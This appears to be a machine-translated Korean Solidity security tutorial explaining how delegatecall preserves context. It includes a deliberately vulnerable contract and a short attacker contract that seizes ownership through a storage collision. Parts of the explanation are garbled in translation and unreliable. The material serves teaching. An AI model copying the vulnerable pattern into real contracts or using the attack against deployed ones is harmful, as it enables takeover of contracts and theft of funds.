대리인 호출 - 컨텍스트가 보존됨
3726 단어 soliditysecuritybestpractice
델리게이트 호출이 어떻게 작동하는지 이해합시다.
contract_A에는 위임자가 contract_B를 호출하는 기능이 있습니다. 해당 함수가 호출되면 contract_B의 코드가 성공적으로 실행된 후 contract_A의 상태가 변경됩니다.
다음을 고려하세요:
contract HackMe {
address public owner;
Lib _libContract;
constructor(address _lib) {
owner = msg.sender;
_libContract = Lib(_lib);
}
fallback() external payable {
address(_libContract).delegatecall(msg.data);
}
}
contract Lib {
address public owner;
function changeOwner() external {
owner = msg.sender;
}
}
델리게이트 호출에 대해 명확하다면 위의 문제를 보았을 것입니다. 그렇지 않다면 걱정하지 말고 계속 읽으세요...
HackMe를 해킹하여 소유자 변수를 변경하는 방법은 무엇입니까?
changeOwner()
함수를 호출하면 대체 함수가 트리거됩니다(HackMe에는 changeOwner()
가 없기 때문). msg.data
인 Lib 계약 호출changeOwner()
을 호출합니다.changeOwner()
(HackMe에서)를 owner
(즉, 공격자 주소)로 변경하는 Lib에서 msg.sender
를 호출합니다. 다음 계약을 참조하십시오.
contract Attacker {
address hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() external {
hackMe.call(abi.encodeWithSignature("changeOwner()"));
}
}
Reference
이 문제에 관하여(대리인 호출 - 컨텍스트가 보존됨), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/rushanksavant/delegate-call-context-is-preserved-3hcn텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)